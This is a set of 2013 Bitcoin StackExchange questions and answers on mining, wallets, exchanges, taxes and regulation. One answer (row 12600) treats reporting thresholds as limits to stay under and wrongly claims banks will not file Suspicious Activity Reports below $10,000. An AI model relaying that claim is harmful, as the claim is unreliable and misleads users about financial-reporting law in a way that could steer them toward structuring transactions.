  <row Id="12600" PostTypeId="2" ParentId="12559" CreationDate="2013-08-10T16:52:37.473" Score="10" Body="&lt;p&gt;Note: This is a US-centric answer. Other countries may differ. I'll add other countries as people leave comments.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There is an arbitrary &lt;a href=&quot;http://www.fincen.gov/financial_institutions/msb/definitions/msb.html&quot; rel=&quot;nofollow&quot;&gt;limit&lt;/a&gt; of $1,000 per person per day that triggers the necessity to register as a money service business. Stay under that FinCEN is unlikely to care about you, although you still may legally need to register for smaller transactions.&lt;/li&gt;&#xA;&lt;li&gt;As long as a single transaction does not exceed $10,000, your financial institution should not file a Suspicious Activity Report.&lt;/li&gt;&#xA;&lt;li&gt;You are best opening an account at an institution separate from your personal, general use accounts.&lt;/li&gt;&#xA;&lt;li&gt;Try to keep cash liquid. Buy local, sell local. If you've got enough volume, use money orders to get fiat into your exchange of choice. It'll cut into your profits a little, but it reduces the number of parties privy to your transactions. &lt;em&gt;Do not fraudulently fill out money orders.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Keep solid books that include the fiat price at the time you purchased your bitcoin and the price of sale. This will help you calculate capital gains taxes.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Pay taxes.&lt;/strong&gt; Assuming you're in the US, this means paying taxes quarterly instead of yearly, unless you expect to owe less than $1,000.&lt;/li&gt;&#xA;&lt;li&gt;If you do register with FinCEN, please document the process and broadcast here, on &lt;a href=&quot;http://bitcointalk.org&quot; rel=&quot;nofollow&quot;&gt;BitcoinTalk&lt;/a&gt;, and on &lt;a href=&quot;http://www.reddit.com/r/bitcoin&quot; rel=&quot;nofollow&quot;&gt;/r/bitcoin&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Be truthful, upfront, and, most of all, careful. When in doubt, talk to a lawyer.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="1409" LastEditDate="2013-11-24T15:26:42.543" LastActivityDate="2013-11-24T15:26:42.543" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12603" PostTypeId="1" AcceptedAnswerId="12733" CreationDate="2013-08-11T02:29:54.640" Score="26" ViewCount="82332" Body="&lt;p&gt;This page: &lt;a href=&quot;https://en.bitcoin.it/wiki/Blocks&quot;&gt;Blocks&lt;/a&gt; said mining is actually to solve a mathematical problem, but reading &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot;&gt;Block hashing algorithm&lt;/a&gt; doesn't give much help.&#xA;I also tried reading bitcoind source code, but reading code takes much more time than reading documentation:)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I have written a simple json-rpc client to call getwork() method to fetch the &quot;data&quot;, but what should I do next to this &quot;data&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone could explain the mining process in programmer's view?&lt;/p&gt;&#xA;" OwnerUserId="6124" LastEditorUserId="5406" LastEditDate="2016-02-08T15:37:08.753" LastActivityDate="2018-12-12T03:41:41.653" Title="The bitcoin mining algorithm from a programmer's viewpoint" Tags="|block|proof-of-work|algorithms|mining-theory|block-header|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12604" PostTypeId="2" ParentId="12592" CreationDate="2013-08-11T03:24:17.000" Score="5" Body="&lt;p&gt;They would mine empty blocks. Block difficulty would remain the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would they have an incentive to mine blocks? In the year 2140, all mining rewards will be from fees. If there are no transactions, there are no fees. Between now and then, rewards will step down over time. So either:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Clients will keep mining.&lt;/li&gt;&#xA;&lt;li&gt;Clients will stop mining because there are no transactions.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I recognize that this is a useless answer (maybe they will, maybe they won't) but I hope you understand the difficulty of predicting what mining clients will be like in 5-10 years.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2013-08-11T03:29:29.897" LastActivityDate="2013-08-11T03:29:29.897" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12605" PostTypeId="1" AcceptedAnswerId="12702" CreationDate="2013-08-11T09:48:26.130" Score="8" ViewCount="5099" Body="&lt;p&gt;You can get BitCoins for under 100 bucks via &lt;a href=&quot;https://coinbase.com/charts&quot; rel=&quot;nofollow&quot;&gt;CoinBase&lt;/a&gt; and there are people on &lt;a href=&quot;https://localbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;LocalBitCoins&lt;/a&gt; who are advertising offers to buy BitCoin for over 100 bucks.  The spread is around $10; so I was considering arbitraging.  Are there any laws that would apply to transactions conducted through the LocalBitcoins website that I might not be aware of?  I'm thinking of a situation where a person you sell BitCoins to might, unbeknownst to you, turn around and do something illegal with them, and get caught.  Would the seller of those coins some how be in the wrong in the eyes of the law?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I'm looking specifically for applicable US laws it would probably have to be several thousand bucks a week to be worth the time.&lt;/p&gt;&#xA;" OwnerUserId="6310" LastEditorUserId="5406" LastEditDate="2013-12-08T10:14:53.033" LastActivityDate="2018-05-01T19:50:36.060" Title="Are there any legal implications when using localbitcoins.com?" Tags="|exchanges|legal|cash|arbitrage|localbitcoins|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12612" PostTypeId="2" ParentId="12595" CreationDate="2013-08-11T20:48:01.237" Score="1" Body="&lt;p&gt;No, if the market crashed, you would not get your 1000$ back. That is the nature of a crash, unless there is a recovery afterwards. You can see the historical exchange rate of bitcoins, to get an indication of the stability. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I see bitcoins is as a tool for money transfer. The advantage of having bitcoins is that you can then transfer money very fast and cheaply. The price of bitcoins will be determined by how much money people want to have as bitcoins, and that will be affected by a multitude of factors, including stability of the exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, I would say that when people need to determine the value of new assets, they are very unsure and that will result in a lot of volatility. An example of this was the value of Facebook stocks, which crashed soon after the stock was made available for public trading. After a while, though, I believe that most valuations will stabilize unless the fundamentals behind the asset change. Of course, bobbles, like we have seen with Bitcoins might counteract the stabilizing over time. &lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2013-08-11T20:48:01.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12616" PostTypeId="2" ParentId="12555" CreationDate="2013-08-12T04:31:57.753" Score="2" Body="&lt;p&gt;The benefits far outweigh the drawbacks here, but it's a worthy discussion nevertheless!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting with encryption in general: Encrypting the wallet.dat file (and backups etc) with a third-party encryption tool like truecrypt can be time-consuming and requires a lot of hoops to jump through every time you start the client.  But this might be more secure and allow you to put the whole client on an encrypted bootable usb stick for portability. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the qt's built-in encryption is a lot easier and other than what you mentioned the drawbacks are: &#xA;The possibility of losing the password.&#xA;The need to type the password upon starting the client. &#xA;Waiting for the wallet to encrypt/decrypt itself upon starting/stopping the client. The pain level here is pretty much entirely dependent on how fast your computer can get the job done. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theoretical possibility of some bug in the encryption algorithm (or something simply goes very wrong during the process that corrupts it) that might render your wallet unusable if it's unable to be decrypted. I don't know if this has ever actually happened--just thinking out loud here. &#xA;But I suppose creating backups helps safeguard against such a problem. Although then you need to be sure to secure the backups -- which again creates a new series of todos and requires more time and care to maintain.  All of this stuff can be automated, however. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't seem to be any other potential drawbacks I can think of. Like I said, none of those issues are likely worth arguing against encryption. &lt;/p&gt;&#xA;" OwnerUserId="6321" LastEditorUserId="30727" LastEditDate="2015-11-23T12:50:01.527" LastActivityDate="2015-11-23T12:50:01.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12617" PostTypeId="1" CreationDate="2013-08-12T04:44:38.130" Score="0" ViewCount="96" Body="&lt;p&gt;For an average end-user, if bitcoin-qt is configured with a large pool (1 billion) of Bitcoin addresses, then will it increase user / transaction anonimity?&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2017-05-08T08:41:53.153" Title="Large pool of addresses means more anonymous? how?" Tags="|privacy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12618" PostTypeId="2" ParentId="12617" CreationDate="2013-08-12T05:22:35.347" Score="3" Body="&lt;p&gt;The pool of addresses is meant for consistency among offline backups. Not for anonymity. See: &lt;a href=&quot;https://en.bitcoin.it/wiki/Key_pool&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Key_pool&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generating and using a new address on-the-fly vs generating thousands in advance doesn't really make any difference in terms of anonymity. Just would create a lot of overhead.  What might help more is using a new address for each new transaction. Maybe. &lt;/p&gt;&#xA;" OwnerUserId="6321" LastActivityDate="2013-08-12T05:22:35.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12619" PostTypeId="2" ParentId="12605" CreationDate="2013-08-12T06:34:37.620" Score="2" Body="&lt;p&gt;The laws that apply depend on your country of residence. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There usually exist some sort of Know Your Customer (KYC) regulation which requires you to check the background if the sum in the trade is very large or your customer has odd buying patterns and you should suspect illegal activity. Also if you trade money professionally you might need to acquire some sort of licence. However, there cannot be an exact answer until we know &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;in which country and state you are in &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;what the daily trade volume you are going to have is.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After selling the bitcoins it really doesn't matter what happens with them. Like with cash, it is out of your control and not your responsibility to follow the money.  In fact, &lt;a href=&quot;http://www.sciencedaily.com/releases/2009/08/090816211843.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;most of the cash contains traces of cocaine&lt;/a&gt; and no one feels bad about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might get some in-depth information if you ask this question on one of the &lt;a href=&quot;https://localbitcoins.com/forums/&quot; rel=&quot;nofollow noreferrer&quot;&gt;LocalBitcoins.com region specific discussion forums&lt;/a&gt; where traders who buy and sell in that region might explain what regulations they follow. &lt;/p&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="37414" LastEditDate="2018-05-01T08:32:26.473" LastActivityDate="2018-05-01T08:32:26.473" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12620" PostTypeId="2" ParentId="12241" CreationDate="2013-08-12T08:56:24.853" Score="0" Body="&lt;p&gt;You may have archived some Bitcoin addresses on Blockchain.info. Those are not added to the total balance.&lt;/p&gt;&#xA;" OwnerUserId="6326" LastActivityDate="2013-08-12T08:56:24.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12622" PostTypeId="2" ParentId="12241" CreationDate="2013-08-12T10:34:28.373" Score="0" Body="&lt;p&gt;You may have added &quot;watch addresses&quot; to your blockchain.info wallet. These are addresses that are only watched and not actually part of your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your Bitcoin-QT wallet on the other hand will be the accurate one and be your actual balance as it cannot watch addresses.&lt;/p&gt;&#xA;" OwnerUserId="6329" LastActivityDate="2013-08-12T10:34:28.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12623" PostTypeId="2" ParentId="12575" CreationDate="2013-08-12T12:00:39.783" Score="0" Body="&lt;p&gt;I've used BitFunder I've not used any others so I can't speak to the pros or cons of each.  With BitFunder you have to use WeExchange to transfer your coins to them which is a bit of a pain instead of being able to just deposit directly.&lt;/p&gt;&#xA;" OwnerUserId="6310" LastActivityDate="2013-08-12T12:00:39.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12624" PostTypeId="1" AcceptedAnswerId="12639" CreationDate="2013-08-12T14:24:31.370" Score="1" ViewCount="8425" Body="&lt;p&gt;Looking at other setups it seems everyone is running with multiple USB Asic Miners through powered USB Hubs. Can the Raspberry Pi power a single miner through USB? Even using a 2 amp power adapter?&lt;/p&gt;&#xA;" OwnerUserId="6330" LastActivityDate="2017-12-02T18:13:24.577" Title="Can a Raspberry Pi power 1 USB Asic Miner?" Tags="|asic|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12626" PostTypeId="1" CreationDate="2013-08-12T20:17:19.463" Score="-1" ViewCount="1793" Body="&lt;p&gt;I wanted to do some mining with my IdeaPad Y580 which has a NVIDIA GeForce GTX660M and Intel HD 4000 integrated graphics, switched using Optimus. Laptop is running under Ubuntu 13.04.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is i can't launch a miner (i tried cgminer and poclbm) on the laptop. I usually get the error like 'Nothing to mine on, exiting', or something similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is, how can I configure the miner/OpenCL to get this working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I know that NVIDIAs/laptop graphics are ineffective in BTC mining, I just wanted to see how many Mhashes does my card get.&lt;/p&gt;&#xA;" OwnerUserId="6332" LastEditorUserId="5406" LastEditDate="2016-03-31T17:02:27.407" LastActivityDate="2016-03-31T17:02:27.407" Title="Mining with a Lenovo Ideapad Y580 (GeForce GTX660M card with Optimus)" Tags="|ubuntu|miner-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12627" PostTypeId="2" ParentId="12241" CreationDate="2013-08-12T22:38:06.227" Score="1" Body="&lt;p&gt;The problem is likely that in Bitcoin-Qt, your balance is not kept in a single address. For privacy reasons (of the system as a whole), &lt;a href=&quot;https://en.bitcoin.it/wiki/Change&quot; rel=&quot;nofollow&quot;&gt;change&lt;/a&gt; from transactions is sent to new addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The abstraction provided by the Bitcoin-Qt client is that of a wallet, in which coins enter via (don't &lt;em&gt;reside at&lt;/em&gt;) addresses, and are sent out from it, and is otherwise a black box. When you look at it via blockchain.info or similar sites, you get a more low-level via, where &quot;balances&quot; are kept per address (which is actually sort-of misleading, as at the protocol level, Bitcoin doesn't work in function of addresses or balances at all, but in terms of transactions on individual coins).&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-08-12T22:38:06.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12629" PostTypeId="1" CreationDate="2013-08-12T22:41:22.763" Score="2" ViewCount="670" Body="&lt;p&gt;When I updated Bitcoin Wallet on my Android device, it automatically created a new address and transfered &lt;strong&gt;all&lt;/strong&gt; my funds from my old address to it due to the recently found security issue in Android's random number generator. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it didn't do it with a single transaction. Instead it did two transactions, so I had to pay the transaction fee (0.0001) two times. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did it perhaps split it into two smaller transactions to keep the size down (only a guess) for the sake of the network? Or is a smaller transaction processed faster? Or was this necessary for completely emptying the old address? Or was my old address fragmented after multiple transactions to and from it in its history (if that is even a thing/possible)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions above are only speculation. And my real question is: is it sometime advantageous to do two (or more transactions) to the same destination instead of a single, big one? &lt;/p&gt;&#xA;" OwnerUserId="3556" LastActivityDate="2013-09-16T19:27:24.787" Title="Is it sometime advantageous to split a transaction into multiple smaller ones?" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12630" PostTypeId="2" ParentId="12590" CreationDate="2013-08-12T23:08:53.900" Score="1" Body="&lt;p&gt;Yes. All these transactions do is create a new transaction (or move entry) in the wallet. Balances are always calculated on the fly (though partially cached) from the transaction list.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2013-08-13T16:53:39.070" LastActivityDate="2013-08-13T16:53:39.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12632" PostTypeId="2" ParentId="4835" CreationDate="2013-08-13T05:37:21.227" Score="0" Body="&lt;p&gt;Objective-C library is CoreBitcoin: &lt;a href=&quot;http://github.com/oleganza/CoreBitcoin&quot; rel=&quot;nofollow&quot;&gt;http://github.com/oleganza/CoreBitcoin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6337" LastActivityDate="2013-08-13T05:37:21.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12633" PostTypeId="1" CreationDate="2013-08-13T11:33:06.703" Score="1" ViewCount="1961" Body="&lt;p&gt;I'm using CentOS on my server, and when I try to compile bitcoin from the github source using &lt;code&gt;make -f makefile.unix&lt;/code&gt;, I get a ton of errors. I'm assuming they're caused by dependency errors?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen a bunch of dependency lists for debian-based linux distros which use apt-get, but I'd like to know what I need for CentOS. Installing the dependencies from the debian lists using yum show the packages as unavailable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the huge error list, if anyone wants it: &lt;a href=&quot;http://pastebin.com/1y2wCH5N&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/1y2wCH5N&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6288" LastEditorUserId="5406" LastEditDate="2014-10-03T12:24:17.303" LastActivityDate="2020-01-06T18:44:41.167" Title="What are the bitcoin dependencies for red hat linux? Bitcoin fails to compile" Tags="|bitcoin-core|linux|installation|bitcoin-qt-setup|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12634" PostTypeId="1" CreationDate="2013-08-13T11:55:43.447" Score="0" ViewCount="269" Body="&lt;p&gt;I'm learning how to use bitcoind, and want to set up a side project that uses bitcoin to learn along the way. I'll be using the json-rpc with PHP on my server. I want to create a service that will receive bitcoins from users, and will eventually send those bitcoins either back to the users or to my own wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to keep things secure, as soon as coins arrive at a user's unique address, I want to automatically forward them to another wallet that doesn't have the private keys on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are thus:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What's the easiest way to handle the bitcoins from an off-server wallet (on my computer or such), without doing absolutely everything by hand? Would it be possible to write a script that does everything I want it to do with the off-server coins, after prompting me for the private keys? For example, a database could hold all the bitcoin commands that would need to be run, but it would need by &quot;OK&quot; to run (requiring the keys). Would the keys be somehow visible if someone got access to the server?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If not the above method, how else can I automate the process as much as possible? The only thing I can think of currently is to do everything by hand: have a private wallet on my home computer, seeing what to do with bitcoins on various addresses, and manually sending them out using my home bitcoin client to the required addresses. This would be extremely tedious with a lot of users on the service. Surely there's a better, secure way?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I don't want to keep private keys on the server for two reasons: a) I don't know anything about server administrations or server security, as I'm just a developer, and b) as a result, I have a managed server (managed by the host), so they could get into the server at any time. I'm wondering, can anyone suggest how to get started in server administration and security so that I can take it into my own hands?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: To clarify, I mean handling transactions that are off of the server, not actually in &quot;cold storage.&quot; The off-server wallet could be hosted on my personal computer--I just don't want it on the server, since it's more prone to attack.&lt;/p&gt;&#xA;" OwnerUserId="6288" LastEditorUserId="6288" LastEditDate="2013-08-13T21:13:58.560" LastActivityDate="2013-08-13T21:13:58.560" Title="A few security-related questions: how do I automate a web service as much as possible without storing private keys on server?" Tags="|security|development|websites|automation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12636" PostTypeId="2" ParentId="12633" CreationDate="2013-08-13T14:13:54.003" Score="0" Body="&lt;p&gt;I don't use Red Hat but I've found this guide quite recent: &lt;a href=&quot;http://www.ripplex.biz/blog/compiling-bitcoin-on-centos-v6-4&quot; rel=&quot;nofollow&quot;&gt;http://www.ripplex.biz/blog/compiling-bitcoin-on-centos-v6-4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you'll find there the dep list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm copying there here in case of 404 of the original website:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Install QT, boost, db4 and zlib development packages:&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;yum install qt-devel boost-devel db4-devel zlib-devel&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6226" LastActivityDate="2013-08-13T14:13:54.003" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12637" PostTypeId="2" ParentId="12634" CreationDate="2013-08-13T16:49:25.733" Score="-1" Body="&lt;p&gt;Set up a cold storage machine, not connected to the internet but with boitcoin installed. Generate a bunch of addresses on the cold storage machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a USB drive, copy the addresses from the cold storage machine to the online system's database.  No need to do anything with the private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When needed on the online system, just send to 1 of the addresses in the database.  This can be totally automated.  You don't need a private key to send to an address.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-08-13T16:49:25.733" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12638" PostTypeId="2" ParentId="12624" CreationDate="2013-08-13T16:57:25.357" Score="1" Body="&lt;p&gt;Put it into a powered USB hub, then connect the hub to the PI.&lt;/p&gt;&#xA;" OwnerUserId="4340" LastActivityDate="2013-08-13T16:57:25.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12639" PostTypeId="2" ParentId="12624" CreationDate="2013-08-13T17:47:37.690" Score="1" Body="&lt;p&gt;Looking &lt;a href=&quot;https://raspberrypi.stackexchange.com/questions/340/how-much-power-can-be-provided-through-usb&quot;&gt;here&lt;/a&gt; it seems that the USB ports on the RPi cannot exceed 100mA so it probably wouldn't be a good idea to use a Block Erupter directly on the RPi&lt;/p&gt;&#xA;" OwnerUserId="6330" LastEditorUserId="-1" LastEditDate="2017-04-13T12:56:29.273" LastActivityDate="2013-08-13T17:47:37.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12641" PostTypeId="2" ParentId="11716" CreationDate="2013-08-13T23:31:27.620" Score="0" Body="&lt;p&gt;Orbitcoin can be found at &lt;a href=&quot;https://www.coins-e.com&quot; rel=&quot;nofollow&quot;&gt;https://www.coins-e.com&lt;/a&gt; this is a new exchange will a massive range of alt currency.&lt;/p&gt;&#xA;" OwnerUserId="6348" LastEditorUserId="105" LastEditDate="2013-08-14T19:18:24.123" LastActivityDate="2013-08-14T19:18:24.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12642" PostTypeId="1" AcceptedAnswerId="12798" CreationDate="2013-08-14T01:09:19.000" Score="6" ViewCount="678" Body="&lt;p&gt;I work as a volunteer for a tax exempt organization in the US.  We are currently accepting donations in bitcoin but not issuing receipts for those donations.  I would like to start issuing receipts.  Is there any legal guidance available online about this?  I haven't been able to find anything.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2021-05-10T13:05:47.980" Title="bitcoin donations tax deductible?" Tags="|taxes|donation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12643" PostTypeId="2" ParentId="12642" CreationDate="2013-08-14T02:17:12.237" Score="7" Body="&lt;p&gt;You can issue gift-in-kind receipts, the same sort you would issue for any other non-cash donation.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(e.g. Thank you for your generous gift of 7 Bitcoins which we received on &lt;strong&gt;_&lt;em&gt;(Date)&lt;/em&gt;_&lt;/strong&gt;. Your generous contribution will help to further the important work of our organization.)&lt;/p&gt;&#xA;" OwnerUserId="5830" LastActivityDate="2013-08-14T02:17:12.237" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12644" PostTypeId="1" CreationDate="2013-08-14T08:31:23.463" Score="1" ViewCount="229" Body="&lt;p&gt;i am building service which will recieve exact amount of bitcoins and then devide it for two users and send it to them. For ex.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Recieve: 10BTC&lt;/li&gt;&#xA;&lt;li&gt;To user A: 5BTC &lt;/li&gt;&#xA;&lt;li&gt;To user B: 5BTC&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Obviously i can't send through &quot;sendfrom&quot; exactly 5BTC because it will spend something like 5.0005.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first solution was to hardcode .0005 fee and send amount with substracted fee. But its far away from perfect and will not reflect fee algo future changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So whats best practice processing this kind of transactions in this moment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there way to ask bitcoind what fee will be for exact transaction or tell bitcoind to substract fee from sending amount?&lt;/p&gt;&#xA;" OwnerUserId="6354" LastActivityDate="2013-08-14T08:31:23.463" Title="Best practice for sending btcs with fees trough bitcoind api" Tags="|bitcoind|transaction-fees|api|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12645" PostTypeId="2" ParentId="7573" CreationDate="2013-08-14T09:19:27.327" Score="-2" Body="&lt;p&gt;You can find how much one XRP (ripple) is worth at...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.RipplePrice.com&quot; rel=&quot;nofollow&quot;&gt;http://www.RipplePrice.com&lt;/a&gt; and also at &lt;a href=&quot;http://www.DigiPrices.com&quot; rel=&quot;nofollow&quot;&gt;http://www.DigiPrices.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rate shown is the mid-market rate at Bitstamp. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclosure: I created these sites. I'd appreciate any feedback.&lt;/p&gt;&#xA;" OwnerUserId="6355" LastEditorUserId="6355" LastEditDate="2014-06-07T13:16:55.760" LastActivityDate="2014-06-07T13:16:55.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12646" PostTypeId="1" CreationDate="2013-08-14T10:12:28.007" Score="1" ViewCount="140" Body="&lt;p&gt;&lt;a href=&quot;http://www.forbes.com/sites/kashmirhill/2013/08/12/every-important-person-in-bitcoin-just-got-subpoenaed-by-new-yorks-financial-regulator/&quot; rel=&quot;nofollow&quot;&gt;Forbes: &lt;em&gt;Every Important Person In Bitcoin Just Got Subpoenaed By New York's Financial Regulator&lt;/em&gt;&lt;/a&gt;.  Quote:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The department is starting out by subpoenaing 22 digital-currency companies and investors to get a lay of the Bitcoin land. They sent letters to the major Bitcoin players asking them to hand over information regarding their money laundering controls, consumer protection practices, source of funding, pitch books (for Bitcoin start-ups) and investment strategies (for Bitcoin investors).  The recipients of the subpoenas are nationwide and include everyone on the “people making real money on Bitcoin” list, such as Bitcoin exchanges and processors, “ mining equipment” maker Butterfly Labs, and major investors, such as the Winklevosses, Marc Andreessen &amp;amp; Ben Horowitz, and Google’s venture fund.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are many, &lt;a href=&quot;http://www.reddit.com/r/worldnews/duplicates/1kbgpp/every_important_person_in_bitcoin_just_got/&quot; rel=&quot;nofollow&quot;&gt;discussions on many Reddit forums&lt;/a&gt; going on and some commentors seem to describe it as the end of Bitcoin.  I don't understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does this legal action mean for Bitcoin as a currency, in practice?&lt;/p&gt;&#xA;" OwnerUserId="3688" LastActivityDate="2013-08-15T10:16:17.310" Title="How does the New York subpoena of important people in Bitcoin affect the currency?" Tags="|legal|" AnswerCount="1" CommentCount="1" ClosedDate="2013-09-11T21:41:51.320" ContentLicense="CC BY-SA 3.0" />
  <row Id="12648" PostTypeId="2" ParentId="10379" CreationDate="2013-08-14T12:34:19.927" Score="0" Body="&lt;p&gt;Try using the Export to CSV feature on Electrum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can import the addresses you want to check and export info from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Menu bar &gt; Export &gt; History&lt;/p&gt;&#xA;" OwnerUserId="2467" LastEditorUserId="2467" LastEditDate="2013-08-14T13:09:40.497" LastActivityDate="2013-08-14T13:09:40.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
